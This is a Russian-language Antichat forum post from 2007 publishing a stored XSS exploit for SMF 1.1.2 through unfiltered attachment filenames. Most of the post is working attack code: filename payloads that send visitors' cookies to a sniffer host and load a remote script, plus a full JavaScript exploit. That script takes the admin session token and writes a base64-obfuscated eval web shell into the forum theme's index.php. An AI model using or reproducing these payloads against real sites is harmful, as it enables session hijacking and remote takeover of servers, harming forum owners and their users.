ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Active-XSS in SMF
  #1  
Старый 14.06.2007, 23:21
Cenarius
Новичок
Регистрация: 11.10.2006
Сообщений: 5
Провел на форуме:
42764

Репутация: 442
Отправить сообщение для Cenarius с помощью ICQ
Exclamation Active-XSS in SMF

SMF Active XSS
(current version 1.1.2)

Отсутствует фильтрация atachment filename

Способы эксплуатации:
  • 1. Получение cookie
    Создаем сообщение и прикрепляем к нему файл со следующим имененем:
    (работает во всех браузерах)
    Код:
    attachfilename<img src=. width=1 height=1 onerror=javascript:new&#32Image().src='http:&#47&#47sniffsite.com&#47s.gif?'+document.cookie>.txt
    (в адресе sniffer'a все / заменяем на &#47)
    Получаем cookie
  • 2. Получение web shell'a
    Создаем сообщение и прикрепляем к нему файл со следующим имененем:
    (работает во всех браузерах)
    Код:
    name<img src=. width=1 height=1 onerror=javascript:var&#32s=document.createElement('script');s.src='http:&#47&#47site.com&#47smfexp.js';document.documentElement.firstChild.appendChild(s);>.txt
    (все / в атрибуте src заменяем на &#47)
    Это код простейшего динамического загрузчика скриптов
    http:&#47&#47site.com&#47smfexp.js - адрес загружаемого скрипта
    smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell

    smfexp.js:
    Код:
    /*
            SMF Active XSS Exploit by Cenarius
            Email: ooohoow@gmail.com | Icq: 100732
    
            Adds shell to index.php of default forum's template
    */
    
    var shellCode = "<?php\n\n";
    shellCode += "// Try to handle it with the upper level index.php.  (it should know what to do.)\n";
    shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n";  // @eval($_POST['cd']);
    shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
    shellCode += "   include (dirname(dirname(__FILE__)) . '/index.php');\n";
    shellCode += "else\n";
    shellCode += "   exit;\n\n?>";
    
    sendRequest("index.php", null, "GET", getSesc);
    
    function getSesc(request) {
        var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);
    
        if(sessVerify) {
            sendRequest(
                "index.php?action=theme;th=1;sa=edit",
                "entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
                "POST", null);
        }
    }
    
    function sendRequest(url, data, method, onLoadFunc) {
        var request = createHttpRequest();
    
        if(request) {
            request.open(method, url, true);
            
            if(method == "POST") {
                request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }
    
            if(onLoadFunc) {
                request.onreadystatechange = function() {
                    if(request.readyState == 4) {
                        onLoadFunc(request); }
                }
            }
            request.send(data);
        }
    } 
    
    function createHttpRequest() {
        var httpRequest = false;
        try {
            httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
        catch(e) {
            try {
                httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
            catch(e) {
                try {
                    httpRequest = new XMLHttpRequest(); }
                catch(e) {
                    httpRequest = false;
                }
            }
        }
        return httpRequest;
    }
    
    // EOF
    По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
    index.php будет содержать следующий код:
    Код:
    @eval($_POST['cd']);

Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
Код:
new Image().src='http://sniffsite.com/s.gif?'+document.cookie;

Последний раз редактировалось Elekt; 12.01.2008 в 22:36..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ